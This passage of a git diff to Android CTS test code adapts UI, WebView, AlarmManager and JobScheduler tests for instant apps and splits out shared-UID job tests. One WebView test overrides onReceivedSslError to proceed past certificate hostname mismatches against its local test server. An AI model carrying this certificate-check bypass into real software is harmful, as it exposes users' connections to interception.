- assertTrue(mReceiverB.waitForBroadcast(TASK_SWITCHING_WAIT_TIME));
+ startActivitiesABSequentially();
}
}
});
@@ -94,24 +73,20 @@
report.submit(getInstrumentation());
}
- private void startActivity(String packageName, String activityName) {
- Context context = getContext();
- Intent intent = new Intent();
- intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- intent.addCategory(Intent.CATEGORY_LAUNCHER);
- intent.setComponent(new ComponentName(packageName, packageName + "." + activityName));
- context.startActivity(intent);
+ private void startActivitiesABSequentially()
+ throws InterruptedException, TimeoutException, ExecutionException {
+ startActivityAndWait('a');
+ startActivityAndWait('b');
}
- class AppBroadcastReceiver extends BroadcastReceiver {
- private final Semaphore mSemaphore = new Semaphore(0);
-
- public boolean waitForBroadcast(long timeoutInSec) throws InterruptedException {
- return mSemaphore.tryAcquire(timeoutInSec, TimeUnit.SECONDS);
- }
- @Override
- public void onReceive(Context context, Intent intent) {
- mSemaphore.release();
- }
+ private void startActivityAndWait(char activityLetter)
+ throws InterruptedException, TimeoutException, ExecutionException {
+ getContext().startActivity(new Intent(Intent.ACTION_VIEW)
+ .setData(Uri.parse("https://foo.com/app" + activityLetter))
+ .addCategory(Intent.CATEGORY_DEFAULT)
+ .addCategory(Intent.CATEGORY_BROWSABLE)
+ .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ .putExtra("callback", new RemoteCallback(b -> mSemaphore.release())));
+ mSemaphore.tryAcquire(TASK_SWITCHING_WAIT_TIME, TimeUnit.SECONDS);
}
}
diff --git a/hostsidetests/ui/src/android/ui/cts/InstallTimeTest.java b/hostsidetests/ui/src/android/ui/cts/InstallTimeTest.java
index 03a581d..c45b021 100644
--- a/hostsidetests/ui/src/android/ui/cts/InstallTimeTest.java
+++ b/hostsidetests/ui/src/android/ui/cts/InstallTimeTest.java
@@ -16,6 +16,9 @@
package android.ui.cts;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AppModeInstant;
+
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.compatibility.common.util.MeasureRun;
import com.android.compatibility.common.util.MeasureTime;
@@ -71,7 +74,17 @@
super.tearDown();
}
- public void testInstallTime() throws Exception {
+ @AppModeInstant
+ public void testInstallTimeInstant() throws Exception {
+ testInstallTime(true);
+ }
+
+ @AppModeFull
+ public void testInstallTimeFull() throws Exception {
+ testInstallTime(false);
+ }
+
+ private void testInstallTime(boolean instant) throws Exception {
String streamName = "test_install_time";
MetricsReportLog report = new MetricsReportLog(mBuild, mAbi.getName(),
String.format("%s#%s", getClass().getName(), "testInstallTime"), REPORT_LOG_NAME,
@@ -87,7 +100,8 @@
@Override
public void run(int i) throws Exception {
File app = buildHelper.getTestFile(APK);
- String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+ String[] options =
+ {AbiUtils.createAbiFlag(mAbi.getName()), instant ? "--instant" : ""};
device.installPackage(app, false, options);
}
});
diff --git a/hostsidetests/ui/src/android/ui/cts/TaskSwitchingTest.java b/hostsidetests/ui/src/android/ui/cts/TaskSwitchingTest.java
index 814d4e1..9f2bd44 100644
--- a/hostsidetests/ui/src/android/ui/cts/TaskSwitchingTest.java
+++ b/hostsidetests/ui/src/android/ui/cts/TaskSwitchingTest.java
@@ -16,6 +16,9 @@
package android.ui.cts;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AppModeInstant;
+
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.compatibility.common.util.MetricsStore;
import com.android.compatibility.common.util.ReportLog;
@@ -76,9 +79,13 @@
protected void setUp() throws Exception {
super.setUp();
mDevice = getDevice();
- String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+ }
+
+ private void installPackages(boolean instant) throws Exception {
CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
for (int i = 0; i < PACKAGES.length; i++) {
+ String[] options = {AbiUtils.createAbiFlag(mAbi.getName()),
+ instant && !PACKAGES[i].contains("control") ? "--instant" : ""};
mDevice.uninstallPackage(PACKAGES[i]);
File app = buildHelper.getTestFile(APKS[i]);
mDevice.installPackage(app, false, options);
@@ -94,7 +101,19 @@
super.tearDown();
}
- public void testTaskSwitching() throws Exception {
+ @AppModeInstant
+ public void testTaskSwitchingInstant() throws Exception {
+ installPackages(true);
+ doTestTaskSwitching();
+ }
+
+ @AppModeFull
+ public void testTaskSwitchingFull() throws Exception {
+ installPackages(false);
+ doTestTaskSwitching();
+ }
+
+ private void doTestTaskSwitching() throws Exception {
RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(PACKAGES[0], RUNNER,
mDevice.getIDevice());
LocalListener listener = new LocalListener();
diff --git a/hostsidetests/webkit/Android.mk b/hostsidetests/webkit/Android.mk
index 663a079..c3ee4f3 100644
--- a/hostsidetests/webkit/Android.mk
+++ b/hostsidetests/webkit/Android.mk
@@ -26,7 +26,7 @@
LOCAL_CTS_TEST_PACKAGE := android.webkit.hostside
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/webkit/app/Android.mk b/hostsidetests/webkit/app/Android.mk
index fd2ee9a..2b0be1c 100644
--- a/hostsidetests/webkit/app/Android.mk
+++ b/hostsidetests/webkit/app/Android.mk
@@ -40,6 +40,6 @@
LOCAL_DEX_PREOPT := false
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/webkit/app/AndroidManifest.xml b/hostsidetests/webkit/app/AndroidManifest.xml
index 108e837..cfd25d5 100644
--- a/hostsidetests/webkit/app/AndroidManifest.xml
+++ b/hostsidetests/webkit/app/AndroidManifest.xml
@@ -15,7 +15,7 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.webkit">
+ package="com.android.cts.webkit" android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
<uses-permission android:name="android.permission.INTERNET" />
diff --git a/hostsidetests/webkit/app/src/com/android/cts/webkit/WebViewDeviceSideStartupTest.java b/hostsidetests/webkit/app/src/com/android/cts/webkit/WebViewDeviceSideStartupTest.java
index 852e4a2..692310b 100644
--- a/hostsidetests/webkit/app/src/com/android/cts/webkit/WebViewDeviceSideStartupTest.java
+++ b/hostsidetests/webkit/app/src/com/android/cts/webkit/WebViewDeviceSideStartupTest.java
@@ -18,6 +18,7 @@
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
+import android.net.http.SslError;
import android.os.Handler;
import android.os.HandlerThread;
import android.os.Looper;
@@ -27,9 +28,11 @@
import android.util.Log;
import android.webkit.CookieManager;
import android.webkit.CookieSyncManager;
+import android.webkit.SslErrorHandler;
import android.webkit.WebView;
import android.webkit.cts.CtsTestServer;
import android.webkit.cts.WebViewOnUiThread;
+import android.webkit.cts.WebViewOnUiThread.WaitForLoadedClient;
import android.webkit.WebView;
import com.android.compatibility.common.util.NullWebViewUtils;
@@ -67,7 +70,8 @@
@UiThreadTest
public void testCookieManagerBlockingUiThread() throws Throwable {
- CtsTestServer server = new CtsTestServer(mActivity, false);
+ // Instant app can only have https connection.
+ CtsTestServer server = new CtsTestServer(mActivity, true);
final String url = server.getCookieUrl("death.html");
Thread background = new Thread(new Runnable() {
@@ -95,7 +99,15 @@
// Now create WebView and test that setting the cookie beforehand really worked.
mActivity.createAndAttachWebView();
+ WebView webView = mActivity.getWebView();
WebViewOnUiThread onUiThread = new WebViewOnUiThread(this, mActivity.getWebView());
+ webView.setWebViewClient(new WaitForLoadedClient(onUiThread) {
+ @Override
+ public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
+ // Not intended to verify server certificate, ignore the error.
+ if (error.getPrimaryError() == SslError.SSL_IDMISMATCH) handler.proceed();
+ }
+ });
onUiThread.loadUrlAndWaitForCompletion(url);
assertEquals("1|count=41", onUiThread.getTitle()); // outgoing cookie
CookieManager cookieManager = CookieManager.getInstance();
diff --git a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java
index a083e08..55ea6cf 100644
--- a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java
+++ b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java
@@ -34,6 +34,7 @@
final Intent reportAlarmIntent = new Intent(ACTION_REPORT_ALARM_EXPIRED);
reportAlarmIntent.putExtra(EXTRA_ALARM_COUNT, count);
reportAlarmIntent.addFlags(Intent.FLAG_RECEIVER_REGISTERED_ONLY);
+ reportAlarmIntent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
context.sendBroadcast(reportAlarmIntent);
}
}
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
index 7c6fc65..36acd82 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
@@ -59,7 +59,7 @@
private static final String TEST_APP_PACKAGE = "android.alarmmanager.alarmtestapp.cts";
private static final String TEST_APP_RECEIVER = TEST_APP_PACKAGE + ".TestAlarmScheduler";
- private static final long DEFAULT_WAIT = 1_000;
+ private static final long DEFAULT_WAIT = 4_000;
private static final long POLL_INTERVAL = 200;
// Tweaked alarm manager constants to facilitate testing
@@ -136,6 +136,7 @@
setAlarmIntent.putExtra(TestAlarmScheduler.EXTRA_TRIGGER_TIME, triggerMillis);
setAlarmIntent.putExtra(TestAlarmScheduler.EXTRA_REPEAT_INTERVAL, interval);
setAlarmIntent.putExtra(TestAlarmScheduler.EXTRA_ALLOW_WHILE_IDLE, allowWhileIdle);
+ setAlarmIntent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
mContext.sendBroadcast(setAlarmIntent);
}
diff --git a/tests/JobScheduler/Android.mk b/tests/JobScheduler/Android.mk
index 622c06e..9cb148b 100755
--- a/tests/JobScheduler/Android.mk
+++ b/tests/JobScheduler/Android.mk
@@ -30,7 +30,7 @@
LOCAL_SRC_FILES += $(call all-java-files-under, JobTestApp/src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
# Must match the package name in CtsTestCaseList.mk
LOCAL_PACKAGE_NAME := CtsJobSchedulerTestCases
diff --git a/tests/JobScheduler/AndroidManifest.xml b/tests/JobScheduler/AndroidManifest.xml
index 4c9625d..f58cdbc 100755
--- a/tests/JobScheduler/AndroidManifest.xml
+++ b/tests/JobScheduler/AndroidManifest.xml
@@ -17,7 +17,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.jobscheduler.cts"
- android:sharedUserId="android.jobscheduler.cts.shared.uid">
+ android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
diff --git a/tests/JobScheduler/AndroidTest.xml b/tests/JobScheduler/AndroidTest.xml
index d7a5988..4820aa2 100644
--- a/tests/JobScheduler/AndroidTest.xml
+++ b/tests/JobScheduler/AndroidTest.xml
@@ -19,8 +19,6 @@
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsJobSchedulerTestCases.apk" />
- <option name="test-file-name" value="CtsJobSchedulerJobPerm.apk" />
- <option name="test-file-name" value="CtsJobSchedulerSharedUid.apk" />
<option name="test-file-name" value="CtsJobTestApp.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/JobScheduler/jobperm/README.txt b/tests/JobScheduler/jobperm/README.txt
deleted file mode 100644
index f285815..0000000
--- a/tests/JobScheduler/jobperm/README.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-This APK uses the same shared UID as CtsJobSchedulerTestCases. It has no code but exists for
-a shared-UID tests.
\ No newline at end of file
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
index e28675d..e03d4ae 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
@@ -129,6 +129,13 @@
assertJobNotReady(BATTERY_JOB_ID);
}
+ static void waitFor(long waitMillis) throws Exception {
+ final long deadline = SystemClock.uptimeMillis() + waitMillis;
+ do {
+ Thread.sleep(500L);
+ } while (SystemClock.uptimeMillis() < deadline);
+ }
+
// --------------------------------------------------------------------------------------------
// Positives - schedule jobs under conditions that require them to pass.
// --------------------------------------------------------------------------------------------
@@ -157,6 +164,7 @@
*/
public void testBatteryNotLowConstraintExecutes_withPower() throws Exception {
setBatteryState(true, 100);
+ waitFor(2_000);
verifyChargingState(true);
verifyBatteryNotLowState(true);
@@ -176,6 +184,7 @@
*/
public void testBatteryNotLowConstraintExecutes_withoutPower() throws Exception {
setBatteryState(false, 100);
+ waitFor(2_000);
verifyChargingState(false);
verifyBatteryNotLowState(true);
@@ -238,6 +247,10 @@
*/
public void testBatteryNotLowConstraintFails_withoutPower() throws Exception {
setBatteryState(false, 15);
+ // setBatteryState() waited for the charging/not-charging state to formally settle,
+ // but battery level reporting lags behind that. wait a moment to let that happen
+ // before proceeding.
+ waitFor(2_000);
verifyChargingState(false);
verifyBatteryNotLowState(false);
@@ -258,6 +271,7 @@
kTestEnvironment.setExpectedWaitForRun();
kTestEnvironment.setContinueAfterStart();
setBatteryState(false, 50);
+ waitFor(2_000);
verifyChargingState(false);
verifyBatteryNotLowState(true);
kTestEnvironment.setExpectedStopped();
@@ -269,6 +283,7 @@
// And check that the job is stopped if battery goes low again.
setBatteryState(false, 15);
setBatteryState(false, 14);
+ waitFor(2_000);
verifyChargingState(false);
verifyBatteryNotLowState(false);
assertTrue("Job with not low constraint did not stop when battery went low.",
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/TriggerContentTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/TriggerContentTest.java
index fe48950..4a0a24c 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/TriggerContentTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/TriggerContentTest.java
@@ -16,6 +16,10 @@
package android.jobscheduler.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
import android.annotation.TargetApi;
import android.app.job.JobInfo;
import android.app.job.JobParameters;
diff --git a/tests/JobSchedulerSharedUid/Android.mk b/tests/JobSchedulerSharedUid/Android.mk
new file mode 100755
index 0000000..416c2e3
--- /dev/null
+++ b/tests/JobSchedulerSharedUid/Android.mk
@@ -0,0 +1,45 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := optional
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ub-uiautomator android-support-test
+
+LOCAL_JAVA_LIBRARIES := android.test.base.stubs
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_SRC_FILES += $(call all-java-files-under, JobSharedUidTestApp/src)
+LOCAL_SRC_FILES += $(call all-java-files-under, jobperm/src)
+LOCAL_SRC_FILES += $(call all-java-files-under, shareduid/src)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+# Must match the package name in CtsTestCaseList.mk
+LOCAL_PACKAGE_NAME := CtsJobSchedulerSharedUidTestCases
+
+#LOCAL_SDK_VERSION := current
+LOCAL_PRIVATE_PLATFORM_APIS := true
+
+include $(BUILD_CTS_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/JobSchedulerSharedUid/AndroidManifest.xml b/tests/JobSchedulerSharedUid/AndroidManifest.xml
new file mode 100755
index 0000000..5cf9ce5
--- /dev/null
+++ b/tests/JobSchedulerSharedUid/AndroidManifest.xml
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.jobscheduler.cts.shareduidtests"
+ android:sharedUserId="android.jobscheduler.cts.shared.uid">
+ <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+ <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
+ <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
+ <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" />
+ <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+
+ <service android:name="android.jobscheduler.MockJobService"
+ android:permission="android.permission.BIND_JOB_SERVICE" />
+ <service android:name="android.jobscheduler.TriggerContentJobService"
+ android:permission="android.permission.BIND_JOB_SERVICE" />
+
+ <provider android:name="android.jobscheduler.DummyJobContentProvider"
+ android:authorities="android.jobscheduler.dummyprovider" android:multiprocess="false" />
+ </application>
+
+ <!-- self-instrumenting test package. -->
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:label="JobScheduler shared-uid device-side tests"
+ android:targetPackage="android.jobscheduler.cts.shareduidtests" >
+ </instrumentation>
+</manifest>
diff --git a/tests/JobSchedulerSharedUid/AndroidTest.xml b/tests/JobSchedulerSharedUid/AndroidTest.xml
new file mode 100644
index 0000000..db88860
--- /dev/null
+++ b/tests/JobSchedulerSharedUid/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Job Scheduler shared-uid test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsJobSchedulerSharedUidTestCases.apk" />
+ <option name="test-file-name" value="CtsJobSchedulerJobPerm.apk" />
+ <option name="test-file-name" value="CtsJobSchedulerSharedUid.apk" />
+ <option name="test-file-name" value="CtsJobSharedUidTestApp.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.jobscheduler.cts.shareduidtests" />
+ <option name="runtime-hint" value="2m" />
+ </test>
+</configuration>
diff --git a/tests/JobScheduler/shareduid/Android.mk b/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.mk
similarity index 83%
copy from tests/JobScheduler/shareduid/Android.mk
copy to tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.mk
index 98a9707..f3d36db 100644
--- a/tests/JobScheduler/shareduid/Android.mk
+++ b/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.mk
@@ -1,4 +1,4 @@
-# Copyright (C) 2017 The Android Open Source Project
+# Copyright (C) 2018 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
@@ -19,16 +19,13 @@
# Don't include this package in any target.
LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
-
LOCAL_SRC_FILES := \
$(call all-java-files-under, src) \
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsJobSchedulerSharedUid
+LOCAL_PACKAGE_NAME := CtsJobSharedUidTestApp
LOCAL_SDK_VERSION := current
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/JobSchedulerSharedUid/JobSharedUidTestApp/AndroidManifest.xml b/tests/JobSchedulerSharedUid/JobSharedUidTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..7c030a9
--- /dev/null
+++ b/tests/JobSchedulerSharedUid/JobSharedUidTestApp/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.jobscheduler.cts.shareduid.jobtestapp">
+
+ <!-- This application schedules jobs independently of the test instrumentation to make
+ it possible to test behaviour for different app states, whitelists and device idle modes -->
+ <application>
+ <service android:name=".TestJobService"
+ android:permission="android.permission.BIND_JOB_SERVICE" />
+ <activity android:name=".TestActivity"
+ android:exported="true" />
+ <receiver android:name=".TestJobSchedulerReceiver"
+ android:exported="true" />
+ </application>
+
+</manifest>
\ No newline at end of file
diff --git a/tests/JobSchedulerSharedUid/JobSharedUidTestApp/src/android/jobscheduler/cts/jobtestapp/TestActivity.java b/tests/JobSchedulerSharedUid/JobSharedUidTestApp/src/android/jobscheduler/cts/jobtestapp/TestActivity.java
new file mode 100644
index 0000000..77107c2
--- /dev/null
+++ b/tests/JobSchedulerSharedUid/JobSharedUidTestApp/src/android/jobscheduler/cts/jobtestapp/TestActivity.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.jobscheduler.cts.jobtestapp;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Message;
+import android.util.Log;
+
+/**
+ * Just a dummy activity to keep the test app process in the foreground state when desired.
+ */
+public class TestActivity extends Activity {
+ private static final String TAG = TestActivity.class.getSimpleName();
+ private static final String PACKAGE_NAME = "android.jobscheduler.cts.jobtestapp";
+ private static final long DEFAULT_WAIT_DURATION = 30_000;
+
+ static final int FINISH_ACTIVITY_MSG = 1;
+ public static final String ACTION_FINISH_ACTIVITY = PACKAGE_NAME + ".action.FINISH_ACTIVITY";
+
+ Handler mFinishHandler = new Handler() {
+ @Override
+ public void handleMessage(Message msg) {
+ switch (msg.what) {
+ case FINISH_ACTIVITY_MSG:
+ Log.d(TAG, "Finishing test activity: " + TestActivity.class.getCanonicalName());
+ unregisterReceiver(mFinishReceiver);
+ finish();
+ }
+ }
+ };
+
+ final BroadcastReceiver mFinishReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ mFinishHandler.removeMessages(FINISH_ACTIVITY_MSG);
+ mFinishHandler.sendEmptyMessage(FINISH_ACTIVITY_MSG);
+ }
+ };
+
+ @Override
+ public void onCreate(Bundle savedInstance) {
+ Log.d(TAG, "Started test activity: " + TestActivity.class.getCanonicalName());
+ super.onCreate(savedInstance);
+ // automatically finish after 30 seconds.
+ mFinishHandler.sendEmptyMessageDelayed(FINISH_ACTIVITY_MSG, DEFAULT_WAIT_DURATION);
+ registerReceiver(mFinishReceiver, new IntentFilter(ACTION_FINISH_ACTIVITY));
+ }
+}
diff --git a/tests/JobSchedulerSharedUid/JobSharedUidTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobSchedulerReceiver.java b/tests/JobSchedulerSharedUid/JobSharedUidTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobSchedulerReceiver.java
new file mode 100644
index 0000000..4ee0a03
--- /dev/null
+++ b/tests/JobSchedulerSharedUid/JobSharedUidTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobSchedulerReceiver.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jobscheduler.cts.jobtestapp;
+
+import android.app.job.JobInfo;
+import android.app.job.JobScheduler;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+/**
+ * Schedules jobs for this package but does not, by itself, occupy a foreground uid state
+ * while doing so.
+ */
+public class TestJobSchedulerReceiver extends BroadcastReceiver {
+ private static final String TAG = TestJobSchedulerReceiver.class.getSimpleName();
+ private static final String PACKAGE_NAME = "android.jobscheduler.cts.jobtestapp";
+
+ public static final String EXTRA_JOB_ID_KEY = PACKAGE_NAME + ".extra.JOB_ID";
+ public static final String EXTRA_ALLOW_IN_IDLE = PACKAGE_NAME + ".extra.ALLOW_IN_IDLE";
+ public static final String ACTION_SCHEDULE_JOB = PACKAGE_NAME + ".action.SCHEDULE_JOB";
+ public static final String ACTION_CANCEL_JOBS = PACKAGE_NAME + ".action.CANCEL_JOBS";
+ public static final int JOB_INITIAL_BACKOFF = 10_000;
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ final ComponentName jobServiceComponent = new ComponentName(context, TestJobService.class);
+ final JobScheduler jobScheduler = context.getSystemService(JobScheduler.class);
+ switch (intent.getAction()) {
+ case ACTION_CANCEL_JOBS:
+ jobScheduler.cancelAll();
+ Log.d(TAG, "Cancelled all jobs for " + context.getPackageName());
+ break;
+ case ACTION_SCHEDULE_JOB:
+ final int jobId = intent.getIntExtra(EXTRA_JOB_ID_KEY, hashCode());
+ final boolean allowInIdle = intent.getBooleanExtra(EXTRA_ALLOW_IN_IDLE, false);
+ JobInfo.Builder jobBuilder = new JobInfo.Builder(jobId, jobServiceComponent)
+ .setBackoffCriteria(JOB_INITIAL_BACKOFF, JobInfo.BACKOFF_POLICY_LINEAR)
+ .setOverrideDeadline(0)
+ .setImportantWhileForeground(allowInIdle);
+ final int result = jobScheduler.schedule(jobBuilder.build());
+ if (result != JobScheduler.RESULT_SUCCESS) {
+ Log.e(TAG, "Could not schedule job " + jobId);
+ } else {
+ Log.d(TAG, "Successfully scheduled job with id " + jobId);
+ }
+ break;
+ default:
+ Log.e(TAG, "Unknown action " + intent.getAction());
+ }
+ }
+}
\ No newline at end of file
diff --git a/tests/JobSchedulerSharedUid/JobSharedUidTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobService.java b/tests/JobSchedulerSharedUid/JobSharedUidTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobService.java
new file mode 100644
index 0000000..90a2ebf
--- /dev/null
+++ b/tests/JobSchedulerSharedUid/JobSharedUidTestApp/src/android/jobscheduler/cts/jobtestapp/TestJobService.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
